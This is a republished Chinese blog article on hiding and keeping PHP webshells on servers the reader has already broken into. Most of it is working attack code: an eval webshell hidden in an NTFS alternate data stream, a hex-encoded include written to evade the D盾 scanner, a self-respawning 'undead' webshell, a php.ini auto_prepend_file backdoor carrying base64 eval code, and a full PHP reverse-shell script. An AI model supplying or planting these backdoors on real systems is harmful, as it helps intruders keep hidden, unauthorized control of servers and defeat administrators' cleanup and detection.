php 后门隐藏技巧

本文作者:s9mf(信安之路作者团队预备成员)

辛辛苦苦拿下的 shell,几天没看,管理员给删了。这篇文章是我个人小小的总结,很多方面都建立在自己理解上思考,如果你有更好的思路,各位表哥们也可以分享。

隐藏

隐藏的技巧很多,废话不多说直接开始。

一. attrib +s +h

创建系统隐藏文件:

attrib +s +a +r +h attrib +s +h 文件名

查看隐藏文件

二. 利用 ADS 隐藏文件

NTFS 交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS 文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用 ADS 数据流,我们可以做很多有趣的事情。(抄的)

  1. 首先创建 ADS 隐藏文件

在命令行,echo 一个数据流进去,比如 index 文件是正常文件。

echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

这样就生成了一个不可见的 index.php:shell.jpg

可用 dir /r 命令来查看

修改与删除

修改:

进入文件所在目录,notepad index.php:shell.jpg

如何删除 index.php:shell.jpg 呢?

直接删除 index.php

  1. 文件包含

我们生成了 index.php:shell.jpg,可以通过包含文件的方式来使用。

<?php include('index.php:shell.jpg')?>

还可以用上面学的隐藏 include.php

  1. 免杀

隐藏了也不行兄 dei,D 盾一扫瞬间爆炸。

index.php:shell.jpg hex 编码

<?php
$a="696E6465782E7068703A7368656C6C2E6A7067";
// index.php:shell.jpg hex编码
$b="a";
include(PACK('H*',$$b))
?>

三. php 环境变量留 shell

环境变量 include_path

在 C 盘,创建 C:\php\pear目录,把木马文件丢上去。

在包含下就 OK 了

四.不死马

运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。

<?php 
   set_time_limit(0);  
   ignore_user_abort(1);  
   unlink(__FILE__);  
   while(1){  
       file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');  
       sleep(5);  
  }

解决覆盖重写或者重启 web 服务删掉即可。

<?php 
   set_time_limit(0);  
   ignore_user_abort(1);  
   unlink(__FILE__);  
   while(1){  
       file_put_contents('webshell.php','clear');  
       sleep(1);  
  }

五. php.ini后门

将下面后门写入php.ini

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
                           // base64 <?php @eval($_REQUEST[cmd]);?>
                     // 后门类型可自己修改。

后门留好后,需要重启 web 服务。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini

脚本如下:

<?php

/*******************************/

/*         BY 傀儡           */

/* 我是一只小弱鸡,咿呀咿呀呦~ */

/*     只适用于windows系统     */

/*******************************/


while(true){   //别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
       @set_time_limit(0);
       $system=strtoupper(substr(PHP_OS, 0, 3));
       if(!extension_loaded('sockets'))
      {
               if($system=='WIN'){@dl('php_sockets.dll') ordie("Can't load socket");}
      }
       $host='255.255.255.255';    //   搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
       $port=1998;      //别问我为什么是1998,问了我也不会告诉你....
       if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
       $descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
       $host=gethostbyname($host);
       $proto=getprotobyname("tcp");
       if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
       if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
       else{
               $message="PHP反弹连接\n";
               @socket_write($sock,$message,strlen($message));
               $cwd=str_replace('\\','/',dirname(__FILE__));
               while($cmd=@socket_read($sock,65535,$proto))
              {
                       if(trim(strtolower($cmd))=="exit"){
                               socket_write($sock,"Bye\n"); exit;
                      }else{
                               $process=proc_open($cmd, $descriptorspec, $pipes, $cwd, $env);
                               if(is_resource($process)){
                               fwrite($pipes[0], $cmd);
                               fclose($pipes[0]);
                               $msg=stream_get_contents($pipes[1]);
                               socket_write($sock,$msg,strlen($msg));
                               fclose($pipes[1]);
                               $msg=stream_get_contents($pipes[2]);
                               socket_write($sock,$msg,strlen($msg));
                               $return_value=proc_close($process);
                              }
                      }
              }
      }
}
?>

有个尴尬的是,这个脚本不太稳定,这个方法不是 100% 可以成功的。但是如图这个 php 版本测试成功。

这个后门在任何的 PHP 页面都可以用菜刀连接:

后记

可以说全面扩展开有的写了,条条大路通罗马通罗马,每个人都有自己的理解,文笔有限,就写到这里,可赞可喷。

参考:

https://www.t00ls.net/viewthread.php?tid=35053&highlight=php%2B%E5%90%8E%E9%97%A8

https://www.t00ls.net/viewthread.php?tid=44911&highlight=php%2B%E5%90%8E%E9%97%A8

https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=17060

https://www.cnblogs.com/xiaozi/p/7610984.html

https://www.t00ls.net/viewthread.php?tid=38906&highlight=php.ini

原文发布于微信公众号 - 信安之路(xazlsec)

原文发表时间:2018-06-25

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏用户2442861的专栏

ubuntu16 环境配置

由于重新安装了系统,一次次的安装软件等好复杂,做一个简单的记录,记录自己安装软件的过程。

4333
来自专栏FreeBuf

打造一款属于自己的远程控制软件(一)

本人为了工作中便于管理手中大量的计算机一直在寻找一款合适的远程控制软件。鉴于网上下载的远程控制软件大多都被不同程度地植入后门,于是萌生了自己打造一款远控的想法,...

1.4K8
来自专栏進无尽的文章

推送-远程通知推送教程

本文翻译自:raywenderlich.com,原文作者:Jack Wu,译者:JMStack

1642
来自专栏地方网络工作室的专栏

打造前端 Deepin Linux 工作环境——系统设置以及安装软件

打造前端 Deepin Linux 工作环境——系统设置以及安装软件 系统的基本设置 由于 deepin 系统做得太多,以至于,我们常见的在 linux 上要进...

5006
来自专栏网络

steam118错误解决方法一览 steam118错误怎么办

第一种方法 已知修改hosts后,https可以打开,http依然会被阻断,所以在浏览器强制https就可以了: 1、添加hosts: 23.52.74.146...

63911
来自专栏建站达人秀

如何快速搭建 Discuz! 论坛

Discuz!全称:Crossday Discuz! Board,是一套免费使用的社区论坛软件系统,由北京康盛新创科技有限责任公司推出,目前最新版本是Discu...

7.8K8
来自专栏Seebug漏洞平台

Discuz!X ≤3.4 任意文件删除漏洞分析

Discuz!X社区软件,是一个采用 PHP 和 MySQL 等其他多种数据库构建的性能优异、功能全面、安全稳定的社区论坛平台。

4368
来自专栏HappenLee的技术杂谈

Ubuntu系统下静态DNS配置详解

因为实验室实现的拟态存储系统需要实现动态变更ip地址,所以需要搭建一个dns服务器,并且将需要查询变更ip地址的服务器都绑定到同一台dns服务器之上。通常在Re...

1973
来自专栏pangguoming

Ubuntu 14.04 分区方案

我磁盘大概还有70多G的空间吧,我全部拿来使用的。真实的双系统哦。 一般来讲,linux系统分区最少要包括/和/swap两个。这样据说会影响性能,没有这样安装过...

4096
来自专栏LeoXu的博客

[翻译]Ext JS 教程-MVC架构 原

大规模的客户端应用程序常常难于去编写、组织机构和维护。随着你加入更多的功能,并且投入更多的开发人员,它们渐渐趋向于失去控制。ExtJS 4 带来了一种新的不仅...

1381

扫码关注云+社区

领取腾讯云代金券